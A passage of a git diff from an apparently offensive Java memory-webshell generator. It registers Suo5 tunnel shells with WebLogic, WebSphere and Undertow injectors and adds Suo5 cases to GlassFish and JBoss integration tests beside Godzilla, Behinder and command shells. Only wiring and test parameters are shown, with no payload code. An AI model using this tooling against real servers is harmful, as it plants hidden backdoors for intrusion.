Pair.of(Suo5Servlet.class, UndertowServletInjector.class)); + map.put(JAKARTA_SERVLET, Pair.of(Suo5Servlet.class, UndertowServletInjector.class)); + map.put(FILTER, Pair.of(Suo5Filter.class, UndertowFilterInjector.class)); + map.put(JAKARTA_FILTER, Pair.of(Suo5Filter.class, UndertowFilterInjector.class)); + map.put(LISTENER, Pair.of(Suo5Listener.class, UndertowListenerInjector.class)); + map.put(JAKARTA_LISTENER, Pair.of(Suo5Listener.class, UndertowListenerInjector.class)); + return map; + } } diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/WebLogicShell.java b/generator/src/main/java/com/reajason/javaweb/memshell/WebLogicShell.java index 90361534..77157674 100644 --- a/generator/src/main/java/com/reajason/javaweb/memshell/WebLogicShell.java +++ b/generator/src/main/java/com/reajason/javaweb/memshell/WebLogicShell.java @@ -9,6 +9,8 @@ import com.reajason.javaweb.memshell.shelltool.command.CommandServlet; import com.reajason.javaweb.memshell.shelltool.godzilla.GodzillaFilter; import com.reajason.javaweb.memshell.shelltool.godzilla.GodzillaFilterChainAdvisor; import com.reajason.javaweb.memshell.shelltool.godzilla.GodzillaServlet; +import com.reajason.javaweb.memshell.shelltool.suo5.Suo5Filter; +import com.reajason.javaweb.memshell.shelltool.suo5.Suo5Servlet; import com.reajason.javaweb.memshell.weblogic.behinder.BehinderListener; import com.reajason.javaweb.memshell.weblogic.command.CommandListener; import com.reajason.javaweb.memshell.weblogic.godzilla.GodzillaListener; @@ -16,6 +18,7 @@ import com.reajason.javaweb.memshell.weblogic.injector.WebLogicFilterInjector; import com.reajason.javaweb.memshell.weblogic.injector.WebLogicListenerInjector; import com.reajason.javaweb.memshell.weblogic.injector.WebLogicServletContextAgentInjector; import com.reajason.javaweb.memshell.weblogic.injector.WebLogicServletInjector; +import com.reajason.javaweb.memshell.weblogic.suo5.Suo5Listener; import org.apache.commons.lang3.tuple.Pair; import java.util.LinkedHashMap; @@ -59,4 +62,13 @@ public class WebLogicShell extends AbstractShell { map.put(AGENT_SERVLET_CONTEXT, Pair.of(GodzillaFilterChainAdvisor.class, WebLogicServletContextAgentInjector.class)); return map; } + + @Override + protected Map, Class>> getSuo5ShellMap() { + Map, Class>> map = new LinkedHashMap<>(); + map.put(SERVLET, Pair.of(Suo5Servlet.class, WebLogicServletInjector.class)); + map.put(FILTER, Pair.of(Suo5Filter.class, WebLogicFilterInjector.class)); + map.put(LISTENER, Pair.of(Suo5Listener.class, WebLogicListenerInjector.class)); + return map; + } } diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/WebSphereShell.java b/generator/src/main/java/com/reajason/javaweb/memshell/WebSphereShell.java index 19cbf089..e52c940b 100644 --- a/generator/src/main/java/com/reajason/javaweb/memshell/WebSphereShell.java +++ b/generator/src/main/java/com/reajason/javaweb/memshell/WebSphereShell.java @@ -9,6 +9,8 @@ import com.reajason.javaweb.memshell.shelltool.command.CommandServlet; import com.reajason.javaweb.memshell.shelltool.godzilla.GodzillaFilter; import com.reajason.javaweb.memshell.shelltool.godzilla.GodzillaFilterChainAdvisor; import com.reajason.javaweb.memshell.shelltool.godzilla.GodzillaServlet; +import com.reajason.javaweb.memshell.shelltool.suo5.Suo5Filter; +import com.reajason.javaweb.memshell.shelltool.suo5.Suo5Servlet; import com.reajason.javaweb.memshell.websphere.behinder.BehinderListener; import com.reajason.javaweb.memshell.websphere.command.CommandListener; import com.reajason.javaweb.memshell.websphere.godzilla.GodzillaListener; @@ -16,6 +18,7 @@ import com.reajason.javaweb.memshell.websphere.injector.WebSphereFilterChainAgen import com.reajason.javaweb.memshell.websphere.injector.WebSphereFilterInjector; import com.reajason.javaweb.memshell.websphere.injector.WebSphereListenerInjector; import com.reajason.javaweb.memshell.websphere.injector.WebSphereServletInjector; +import com.reajason.javaweb.memshell.websphere.suo5.Suo5Listener; import org.apache.commons.lang3.tuple.Pair; import java.util.LinkedHashMap; @@ -59,4 +62,13 @@ public class WebSphereShell extends AbstractShell { map.put(AGENT_FILTER_MANAGER, Pair.of(BehinderFilterChainAdvisor.class, WebSphereFilterChainAgentInjector.class)); return map; } + + @Override + protected Map, Class>> getSuo5ShellMap() { + Map, Class>> map = new LinkedHashMap<>(); + map.put(SERVLET, Pair.of(Suo5Servlet.class, WebSphereServletInjector.class)); + map.put(FILTER, Pair.of(Suo5Filter.class, WebSphereFilterInjector.class)); + map.put(LISTENER, Pair.of(Suo5Listener.class, WebSphereListenerInjector.class)); + return map; + } } diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/ContainerTool.java b/integration-test/src/test/java/com/reajason/javaweb/integration/ContainerTool.java index 6b4ce5e0..25947b86 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/ContainerTool.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/ContainerTool.java @@ -33,9 +33,8 @@ public class ContainerTool { public static final MountableFile springbootPid = MountableFile.forHostPath(Path.of("script/springboot_pid.sh")); public static String getUrl(GenericContainer container) { - String host = container.getHost(); int port = container.getMappedPort(8080); - String url = "http://" + host + ":" + port + "/app"; + String url = "http://127.0.0.1:" + port + "/app"; log.info("container started, app url is : {}", url); return url; } diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/glassfish/GlassFish3ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/glassfish/GlassFish3ContainerTest.java index 451f5358..7bee7ee3 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/glassfish/GlassFish3ContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/glassfish/GlassFish3ContainerTest.java @@ -55,18 +55,24 @@ public class GlassFish3ContainerTest { arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packers.Deserialize), arguments(imageName, Constants.FILTER, ShellTool.Command, Packers.JSP), arguments(imageName, Constants.FILTER, ShellTool.Command, Packers.Deserialize), + arguments(imageName, Constants.FILTER, ShellTool.Suo5, Packers.JSP), + arguments(imageName, Constants.FILTER, ShellTool.Suo5, Packers.Deserialize), arguments(imageName, Constants.LISTENER, ShellTool.Behinder, Packers.JSP), arguments(imageName, Constants.LISTENER, ShellTool.Behinder, Packers.Deserialize), arguments(imageName, Constants.LISTENER, ShellTool.Godzilla, Packers.JSP), arguments(imageName, Constants.LISTENER, ShellTool.Godzilla, Packers.Deserialize), arguments(imageName, Constants.LISTENER, ShellTool.Command, Packers.JSP), arguments(imageName, Constants.LISTENER, ShellTool.Command, Packers.Deserialize), + arguments(imageName, Constants.LISTENER, ShellTool.Suo5, Packers.JSP), + arguments(imageName, Constants.LISTENER, ShellTool.Suo5, Packers.Deserialize), arguments(imageName, Constants.VALVE, ShellTool.Behinder, Packers.JSP), arguments(imageName, Constants.VALVE, ShellTool.Behinder, Packers.Deserialize), arguments(imageName, Constants.VALVE, ShellTool.Godzilla, Packers.JSP), arguments(imageName, Constants.VALVE, ShellTool.Godzilla, Packers.Deserialize), arguments(imageName, Constants.VALVE, ShellTool.Command, Packers.JSP), arguments(imageName, Constants.VALVE, ShellTool.Command, Packers.Deserialize), + arguments(imageName, Constants.VALVE, ShellTool.Suo5, Packers.JSP), + arguments(imageName, Constants.VALVE, ShellTool.Suo5, Packers.Deserialize), arguments(imageName, Constants.AGENT_FILTER_CHAIN, ShellTool.Command, Packers.AgentJar), // arguments(imageName, Constants.AGENT_FILTER_CHAIN, ShellTool.Godzilla, Packer.INSTANCE.AgentJar), // classFormatError arguments(imageName, Constants.AGENT_FILTER_CHAIN, ShellTool.Behinder, Packers.AgentJar), diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/glassfish/GlassFish4ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/glassfish/GlassFish4ContainerTest.java index 0fcb697c..d0b3c554 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/glassfish/GlassFish4ContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/glassfish/GlassFish4ContainerTest.java @@ -56,18 +56,24 @@ public class GlassFish4ContainerTest { arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packers.Deserialize), arguments(imageName, Constants.FILTER, ShellTool.Command, Packers.JSP), arguments(imageName, Constants.FILTER, ShellTool.Command, Packers.Deserialize), + arguments(imageName, Constants.FILTER, ShellTool.Suo5, Packers.JSP), + arguments(imageName, Constants.FILTER, ShellTool.Suo5, Packers.Deserialize), arguments(imageName, Constants.LISTENER, ShellTool.Behinder, Packers.JSP), arguments(imageName, Constants.LISTENER, ShellTool.Behinder, Packers.Deserialize), arguments(imageName, Constants.LISTENER, ShellTool.Godzilla, Packers.JSP), arguments(imageName, Constants.LISTENER, ShellTool.Godzilla, Packers.Deserialize), arguments(imageName, Constants.LISTENER, ShellTool.Command, Packers.JSP), arguments(imageName, Constants.LISTENER, ShellTool.Command, Packers.Deserialize), + arguments(imageName, Constants.LISTENER, ShellTool.Suo5, Packers.JSP), + arguments(imageName, Constants.LISTENER, ShellTool.Suo5, Packers.Deserialize), arguments(imageName, Constants.VALVE, ShellTool.Behinder, Packers.JSP), arguments(imageName, Constants.VALVE, ShellTool.Behinder, Packers.Deserialize), arguments(imageName, Constants.VALVE, ShellTool.Godzilla, Packers.JSP), arguments(imageName, Constants.VALVE, ShellTool.Godzilla, Packers.Deserialize), arguments(imageName, Constants.VALVE, ShellTool.Command, Packers.JSP), arguments(imageName, Constants.VALVE, ShellTool.Command, Packers.Deserialize), + arguments(imageName, Constants.VALVE, ShellTool.Suo5, Packers.JSP), + arguments(imageName, Constants.VALVE, ShellTool.Suo5, Packers.Deserialize), arguments(imageName, Constants.AGENT_FILTER_CHAIN, ShellTool.Command, Packers.AgentJar), arguments(imageName, Constants.AGENT_FILTER_CHAIN, ShellTool.Godzilla, Packers.AgentJar), arguments(imageName, Constants.AGENT_FILTER_CHAIN, ShellTool.Behinder, Packers.AgentJar), diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/glassfish/GlassFish501ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/glassfish/GlassFish501ContainerTest.java index 11f3491e..af66584c 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/glassfish/GlassFish501ContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/glassfish/GlassFish501ContainerTest.java @@ -48,18 +48,24 @@ public class GlassFish501ContainerTest { arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packers.Deserialize), arguments(imageName, Constants.FILTER, ShellTool.Command, Packers.JSP), arguments(imageName, Constants.FILTER, ShellTool.Command, Packers.Deserialize), + arguments(imageName, Constants.FILTER, ShellTool.Suo5, Packers.JSP), + arguments(imageName, Constants.FILTER, ShellTool.Suo5, Packers.Deserialize), arguments(imageName, Constants.LISTENER, ShellTool.Behinder, Packers.JSP), arguments(imageName, Constants.LISTENER, ShellTool.Behinder, Packers.Deserialize), arguments(imageName, Constants.LISTENER, ShellTool.Godzilla, Packers.JSP), arguments(imageName, Constants.LISTENER, ShellTool.Godzilla, Packers.Deserialize), arguments(imageName, Constants.LISTENER, ShellTool.Command, Packers.JSP), arguments(imageName, Constants.LISTENER, ShellTool.Command, Packers.Deserialize), + arguments(imageName, Constants.LISTENER, ShellTool.Suo5, Packers.JSP), + arguments(imageName, Constants.LISTENER, ShellTool.Suo5, Packers.Deserialize), arguments(imageName, Constants.VALVE, ShellTool.Behinder, Packers.JSP), arguments(imageName, Constants.VALVE, ShellTool.Behinder, Packers.Deserialize), arguments(imageName, Constants.VALVE, ShellTool.Godzilla, Packers.JSP), arguments(imageName, Constants.VALVE, ShellTool.Godzilla, Packers.Deserialize), arguments(imageName, Constants.VALVE, ShellTool.Command, Packers.JSP), arguments(imageName, Constants.VALVE, ShellTool.Command, Packers.Deserialize), + arguments(imageName, Constants.VALVE, ShellTool.Suo5, Packers.JSP), + arguments(imageName, Constants.VALVE, ShellTool.Suo5, Packers.Deserialize), arguments(imageName, Constants.AGENT_FILTER_CHAIN, ShellTool.Command, Packers.AgentJar), arguments(imageName, Constants.AGENT_FILTER_CHAIN, ShellTool.Godzilla, Packers.AgentJar), arguments(imageName, Constants.AGENT_FILTER_CHAIN, ShellTool.Behinder, Packers.AgentJar), diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/glassfish/GlassFish510ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/glassfish/GlassFish510ContainerTest.java index dcedd336..10ee4f56 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/glassfish/GlassFish510ContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/glassfish/GlassFish510ContainerTest.java @@ -50,6 +50,9 @@ public class GlassFish510ContainerTest { arguments(imageName, Constants.FILTER, ShellTool.Command, Packers.JSP), arguments(imageName, Constants.FILTER, ShellTool.Command, Packers.Deserialize), arguments(imageName, Constants.FILTER, ShellTool.Command, Packers.ScriptEngine), + arguments(imageName, Constants.FILTER, ShellTool.Suo5, Packers.JSP), + arguments(imageName, Constants.FILTER, ShellTool.Suo5, Packers.Deserialize), + arguments(imageName, Constants.FILTER, ShellTool.Suo5, Packers.ScriptEngine), arguments(imageName, Constants.LISTENER, ShellTool.Behinder, Packers.JSP), arguments(imageName, Constants.LISTENER, ShellTool.Behinder, Packers.Deserialize), arguments(imageName, Constants.LISTENER, ShellTool.Godzilla, Packers.JSP), @@ -58,6 +61,9 @@ public class GlassFish510ContainerTest { arguments(imageName, Constants.LISTENER, ShellTool.Command, Packers.JSP), arguments(imageName, Constants.LISTENER, ShellTool.Command, Packers.Deserialize), arguments(imageName, Constants.LISTENER, ShellTool.Command, Packers.ScriptEngine), + arguments(imageName, Constants.LISTENER, ShellTool.Suo5, Packers.JSP), + arguments(imageName, Constants.LISTENER, ShellTool.Suo5, Packers.Deserialize), + arguments(imageName, Constants.LISTENER, ShellTool.Suo5, Packers.ScriptEngine), arguments(imageName, Constants.VALVE, ShellTool.Behinder, Packers.JSP), arguments(imageName, Constants.VALVE, ShellTool.Behinder, Packers.Deserialize), arguments(imageName, Constants.VALVE, ShellTool.Godzilla, Packers.JSP), @@ -66,6 +72,9 @@ public class GlassFish510ContainerTest { arguments(imageName, Constants.VALVE, ShellTool.Command, Packers.JSP), arguments(imageName, Constants.VALVE, ShellTool.Command, Packers.Deserialize), arguments(imageName, Constants.VALVE, ShellTool.Command, Packers.ScriptEngine), + arguments(imageName, Constants.VALVE, ShellTool.Suo5, Packers.JSP), + arguments(imageName, Constants.VALVE, ShellTool.Suo5, Packers.Deserialize), + arguments(imageName, Constants.VALVE, ShellTool.Suo5, Packers.ScriptEngine), arguments(imageName, Constants.AGENT_FILTER_CHAIN, ShellTool.Command, Packers.AgentJar), arguments(imageName, Constants.AGENT_FILTER_CHAIN, ShellTool.Godzilla, Packers.AgentJar), arguments(imageName, Constants.AGENT_FILTER_CHAIN, ShellTool.Behinder, Packers.AgentJar), diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/glassfish/GlassFish6ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/glassfish/GlassFish6ContainerTest.java index cdff5c4c..3c33092b 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/glassfish/GlassFish6ContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/glassfish/GlassFish6ContainerTest.java @@ -49,18 +49,24 @@ public class GlassFish6ContainerTest { arguments(imageName, Constants.JAKARTA_FILTER, ShellTool.Godzilla, Packers.Deserialize), arguments(imageName, Constants.JAKARTA_FILTER, ShellTool.Command, Packers.JSP), arguments(imageName, Constants.JAKARTA_FILTER, ShellTool.Command, Packers.Deserialize), + arguments(imageName, Constants.JAKARTA_FILTER, ShellTool.Suo5, Packers.JSP), + arguments(imageName, Constants.JAKARTA_FILTER, ShellTool.Suo5, Packers.Deserialize), arguments(imageName, Constants.JAKARTA_LISTENER, ShellTool.Behinder, Packers.JSP), arguments(imageName, Constants.JAKARTA_LISTENER, ShellTool.Behinder, Packers.Deserialize), arguments(imageName, Constants.JAKARTA_LISTENER, ShellTool.Godzilla, Packers.JSP), arguments(imageName, Constants.JAKARTA_LISTENER, ShellTool.Godzilla, Packers.Deserialize), arguments(imageName, Constants.JAKARTA_LISTENER, ShellTool.Command, Packers.JSP), arguments(imageName, Constants.JAKARTA_LISTENER, ShellTool.Command, Packers.Deserialize), + arguments(imageName, Constants.JAKARTA_LISTENER, ShellTool.Suo5, Packers.JSP), + arguments(imageName, Constants.JAKARTA_LISTENER, ShellTool.Suo5, Packers.Deserialize), arguments(imageName, Constants.JAKARTA_VALVE, ShellTool.Behinder, Packers.JSP), arguments(imageName, Constants.JAKARTA_VALVE, ShellTool.Behinder, Packers.Deserialize), arguments(imageName, Constants.JAKARTA_VALVE, ShellTool.Godzilla, Packers.JSP), arguments(imageName, Constants.JAKARTA_VALVE, ShellTool.Godzilla, Packers.Deserialize), arguments(imageName, Constants.JAKARTA_VALVE, ShellTool.Command, Packers.JSP), arguments(imageName, Constants.JAKARTA_VALVE, ShellTool.Command, Packers.Deserialize), + arguments(imageName, Constants.JAKARTA_VALVE, ShellTool.Suo5, Packers.JSP), + arguments(imageName, Constants.JAKARTA_VALVE, ShellTool.Suo5, Packers.Deserialize), arguments(imageName, Constants.AGENT_FILTER_CHAIN, ShellTool.Command, Packers.AgentJar), arguments(imageName, Constants.AGENT_FILTER_CHAIN, ShellTool.Godzilla, Packers.AgentJar), arguments(imageName, Constants.AGENT_FILTER_CHAIN, ShellTool.Behinder, Packers.AgentJar), diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/glassfish/GlassFish7ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/glassfish/GlassFish7ContainerTest.java index 24bc12d9..92a1f633 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/glassfish/GlassFish7ContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/glassfish/GlassFish7ContainerTest.java @@ -46,12 +46,15 @@ public class GlassFish7ContainerTest { arguments(imageName, Constants.JAKARTA_FILTER, ShellTool.Behinder, Packers.JSP), arguments(imageName, Constants.JAKARTA_FILTER, ShellTool.Godzilla, Packers.JSP), arguments(imageName, Constants.JAKARTA_FILTER, ShellTool.Command, Packers.JSP), + arguments(imageName, Constants.JAKARTA_FILTER, ShellTool.Suo5, Packers.JSP), arguments(imageName, Constants.JAKARTA_LISTENER, ShellTool.Behinder, Packers.JSP), arguments(imageName, Constants.JAKARTA_LISTENER, ShellTool.Godzilla, Packers.JSP), arguments(imageName, Constants.JAKARTA_LISTENER, ShellTool.Command, Packers.JSP), + arguments(imageName, Constants.JAKARTA_LISTENER, ShellTool.Suo5, Packers.JSP), arguments(imageName, Constants.JAKARTA_VALVE, ShellTool.Behinder, Packers.JSP), arguments(imageName, Constants.JAKARTA_VALVE, ShellTool.Godzilla, Packers.JSP), arguments(imageName, Constants.JAKARTA_VALVE, ShellTool.Command, Packers.JSP), + arguments(imageName, Constants.JAKARTA_VALVE, ShellTool.Suo5, Packers.JSP), arguments(imageName, Constants.AGENT_FILTER_CHAIN, ShellTool.Command, Packers.AgentJar), arguments(imageName, Constants.AGENT_FILTER_CHAIN, ShellTool.Godzilla, Packers.AgentJar), arguments(imageName, Constants.AGENT_FILTER_CHAIN, ShellTool.Behinder, Packers.AgentJar), diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/jbossas/Jboss423ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/jbossas/Jboss423ContainerTest.java index ce7e419e..fc9d8795 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/jbossas/Jboss423ContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/jbossas/Jboss423ContainerTest.java @@ -48,18 +48,24 @@ public class Jboss423ContainerTest { arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packers.Deserialize), arguments(imageName, Constants.FILTER, ShellTool.Command, Packers.JSP), arguments(imageName, Constants.FILTER, ShellTool.Command, Packers.Deserialize), + arguments(imageName, Constants.FILTER, ShellTool.Suo5, Packers.JSP), + arguments(imageName, Constants.FILTER, ShellTool.Suo5, Packers.Deserialize), arguments(imageName, Constants.LISTENER, ShellTool.Behinder, Packers.JSP), arguments(imageName, Constants.LISTENER, ShellTool.Behinder, Packers.Deserialize), arguments(imageName, Constants.LISTENER, ShellTool.Godzilla, Packers.JSP), arguments(imageName, Constants.LISTENER, ShellTool.Godzilla, Packers.Deserialize), arguments(imageName, Constants.LISTENER, ShellTool.Command, Packers.JSP), arguments(imageName, Constants.LISTENER, ShellTool.Command, Packers.Deserialize), + arguments(imageName, Constants.LISTENER, ShellTool.Suo5, Packers.JSP), + arguments(imageName, Constants.LISTENER, ShellTool.Suo5, Packers.Deserialize), arguments(imageName, Constants.VALVE, ShellTool.Behinder, Packers.JSP), arguments(imageName, Constants.VALVE, ShellTool.Behinder, Packers.Deserialize), arguments(imageName, Constants.VALVE, ShellTool.Godzilla, Packers.JSP), arguments(imageName, Constants.VALVE, ShellTool.Godzilla, Packers.Deserialize), arguments(imageName, Constants.VALVE, ShellTool.Command, Packers.JSP), arguments(imageName, Constants.VALVE, ShellTool.Command, Packers.Deserialize), + arguments(imageName, Constants.VALVE, ShellTool.Suo5, Packers.JSP), + arguments(imageName, Constants.VALVE, ShellTool.Suo5, Packers.Deserialize), arguments(imageName, Constants.AGENT_FILTER_CHAIN, ShellTool.Command, Packers.AgentJar), arguments(imageName, Constants.AGENT_FILTER_CHAIN, ShellTool.Behinder, Packers.AgentJar), arguments(imageName, Constants.AGENT_FILTER_CHAIN, ShellTool.Godzilla, Packers.AgentJar), diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/jbossas/Jboss510ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/jbossas/Jboss510ContainerTest.java index 84745780..2fa71eae 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/jbossas/Jboss510ContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/jbossas/Jboss510ContainerTest.java @@ -49,18 +49,24 @@ public class Jboss510ContainerTest { arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packers.Deserialize), arguments(imageName, Constants.FILTER, ShellTool.Command, Packers.JSP), arguments(imageName, Constants.FILTER, ShellTool.Command, Packers.Deserialize), + arguments(imageName, Constants.FILTER, ShellTool.Suo5, Packers.JSP), + arguments(imageName, Constants.FILTER, ShellTool.Suo5, Packers.Deserialize), // arguments(imageName, Constants.LISTENER, ShellTool.Behinder, Packer.INSTANCE.JSP), // java.net.SocketTimeoutException: Read timed out // arguments(imageName, Constants.LISTENER, ShellTool.Behinder, Packer.INSTANCE.Deserialize), arguments(imageName, Constants.LISTENER, ShellTool.Godzilla, Packers.JSP), arguments(imageName, Constants.LISTENER, ShellTool.Godzilla, Packers.Deserialize), arguments(imageName, Constants.LISTENER, ShellTool.Command, Packers.JSP), arguments(imageName, Constants.LISTENER, ShellTool.Command, Packers.Deserialize), + arguments(imageName, Constants.LISTENER, ShellTool.Suo5, Packers.JSP), + arguments(imageName, Constants.LISTENER, ShellTool.Suo5, Packers.Deserialize), // arguments(imageName, Constants.VALVE, ShellTool.Behinder, Packer.INSTANCE.JSP), // java.net.SocketTimeoutException: Read timed out // arguments(imageName, Constants.VALVE, ShellTool.Behinder, Packer.INSTANCE.Deserialize), arguments(imageName, Constants.VALVE, ShellTool.Godzilla, Packers.JSP), arguments(imageName, Constants.VALVE, ShellTool.Godzilla, Packers.Deserialize), arguments(imageName, Constants.VALVE, ShellTool.Command, Packers.JSP), arguments(imageName, Constants.VALVE, ShellTool.Command, Packers.Deserialize), + arguments(imageName, Constants.VALVE, ShellTool.Suo5, Packers.JSP), + arguments(imageName, Constants.VALVE, ShellTool.Suo5, Packers.Deserialize), arguments(imageName, Constants.AGENT_FILTER_CHAIN, ShellTool.Command, Packers.AgentJar), // arguments(imageName, Constants.AGENT_FILTER_CHAIN, ShellTool.Behinder, Packer.INSTANCE.AgentJar), arguments(imageName, Constants.AGENT_FILTER_CHAIN, ShellTool.Godzilla, Packers.AgentJar), diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/jbossas/Jboss610ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/jbossas/Jboss610ContainerTest.java index 657a8450..538bfae0 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/jbossas/Jboss610ContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/jbossas/Jboss610ContainerTest.java @@ -48,18 +48,24 @@ public class Jboss610ContainerTest { arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packers.Deserialize), arguments(imageName, Constants.FILTER, ShellTool.Command, Packers.JSP), arguments(imageName, Constants.FILTER, ShellTool.Command, Packers.Deserialize), + arguments(imageName, Constants.FILTER, ShellTool.Suo5, Packers.JSP), + arguments(imageName, Constants.FILTER, ShellTool.Suo5, Packers.Deserialize), arguments(imageName, Constants.LISTENER, ShellTool.Behinder, Packers.JSP), arguments(imageName, Constants.LISTENER, ShellTool.Behinder, Packers.Deserialize), arguments(imageName, Constants.LISTENER, ShellTool.Godzilla, Packers.JSP), arguments(imageName, Constants.LISTENER, ShellTool.Godzilla, Packers.Deserialize), arguments(imageName, Constants.LISTENER, ShellTool.Command, Packers.JSP), arguments(imageName, Constants.LISTENER, ShellTool.Command, Packers.Deserialize), + arguments(imageName, Constants.LISTENER, ShellTool.Suo5, Packers.JSP), + arguments(imageName, Constants.LISTENER, ShellTool.Suo5, Packers.Deserialize), arguments(imageName, Constants.VALVE, ShellTool.Behinder, Packers.JSP), arguments(imageName, Constants.VALVE, ShellTool.Behinder, Packers.Deserialize), arguments(imageName, Constants.VALVE, ShellTool.Godzilla, Packers.JSP), arguments(imageName, Constants.VALVE, ShellTool.Godzilla, Packers.Deserialize), arguments(imageName, Constants.VALVE, ShellTool.Command, Packers.JSP), arguments(imageName, Constants.VALVE, ShellTool.Command, Packers.Deserialize), + arguments(imageName, Constants.VALVE, ShellTool.Suo5, Packers.JSP), + arguments(imageName, Constants.VALVE, ShellTool.Suo5, Packers.Deserialize), arguments(imageName, Constants.AGENT_FILTER_CHAIN, ShellTool.Command, Packers.AgentJar), arguments(imageName, Constants.AGENT_FILTER_CHAIN, ShellTool.Behinder, Packers.AgentJar), arguments(imageName, Constants.AGENT_FILTER_CHAIN, ShellTool.Godzilla, Packers.AgentJar), diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/jbossas/Jboss711ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/jbossas/Jboss711ContainerTest.java index a157a0f2..43d6f9ce 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/jbossas/Jboss711ContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/jbossas/Jboss711ContainerTest.java @@ -48,12 +48,15 @@ public class Jboss711ContainerTest { arguments(imageName, Constants.FILTER, ShellTool.Behinder, Packers.JSP), arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packers.JSP), arguments(imageName, Constants.FILTER, ShellTool.Command, Packers.JSP), + arguments(imageName, Constants.FILTER, ShellTool.Suo5, Packers.JSP), arguments(imageName, Constants.LISTENER, ShellTool.Behinder, Packers.JSP), arguments(imageName, Constants.LISTENER, ShellTool.Godzilla, Packers.JSP), arguments(imageName, Constants.LISTENER, ShellTool.Command, Packers.JSP), + arguments(imageName, Constants.LISTENER, ShellTool.Suo5, Packers.JSP), arguments(imageName, Constants.VALVE, ShellTool.Behinder, Packers.JSP), arguments(imageName, Constants.VALVE, ShellTool.Godzilla, Packers.JSP), arguments(imageName, Constants.VALVE, ShellTool.Command, Packers.JSP), + arguments(imageName, Constants.VALVE, ShellTool.Suo5, Packers.JSP), arguments(imageName, Constants.AGENT_FILTER_CHAIN, ShellTool.Command, Packers.AgentJar), arguments(imageName, Constants.AGENT_FILTER_CHAIN, ShellTool.Behinder, Packers.AgentJar), arguments(imageName, Constants.AGENT_FILTER_CHAIN, ShellTool.Godzilla, Packers.AgentJar), diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/jbosseap/JbossEap6ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/jbosseap/JbossEap6ContainerTest.java index 89a2eca2..ce9c283e 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/jbosseap/JbossEap6ContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/jbosseap/JbossEap6ContainerTest.java @@ -45,12 +45,15 @@ public class JbossEap6ContainerTest { arguments(imageName, Constants.FILTER, ShellTool.Behinder, Packers.JSP), arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packers.JSP), arguments(imageName, Constants.FILTER, ShellTool.Command, Packers.JSP), + arguments(imageName, Constants.FILTER, ShellTool.Suo5, Packers.JSP), arguments(imageName, Constants.LISTENER, ShellTool.Behinder, Packers.JSP), arguments(imageName, Constants.LISTENER, ShellTool.Godzilla, Packers.JSP), arguments(imageName, Constants.LISTENER, ShellTool.Command, Packers.JSP), + arguments(imageName, Constants.LISTENER, ShellTool.Suo5, Packers.JSP), arguments(imageName, Constants.VALVE, ShellTool.Behinder, Packers.JSP), arguments(imageName, Constants.VALVE, ShellTool.Godzilla, Packers.JSP), arguments(imageName, Constants.VALVE, ShellTool.Command, Packers.JSP), + arguments(imageName, Constants.VALVE, ShellTool.Suo5, Packers.JSP), arguments(imageName, Constants.AGENT_FILTER_CHAIN, ShellTool.Command, Packers.AgentJar), arguments(imageName, Constants.AGENT_FILTER_CHAIN, ShellTool.Behinder, Packers.AgentJar), arguments(imageName, Constants.AGENT_FILTER_CHAIN, ShellTool.Godzilla, Packers.AgentJar), diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/jbosseap/JbossEap7ContainerTest.java 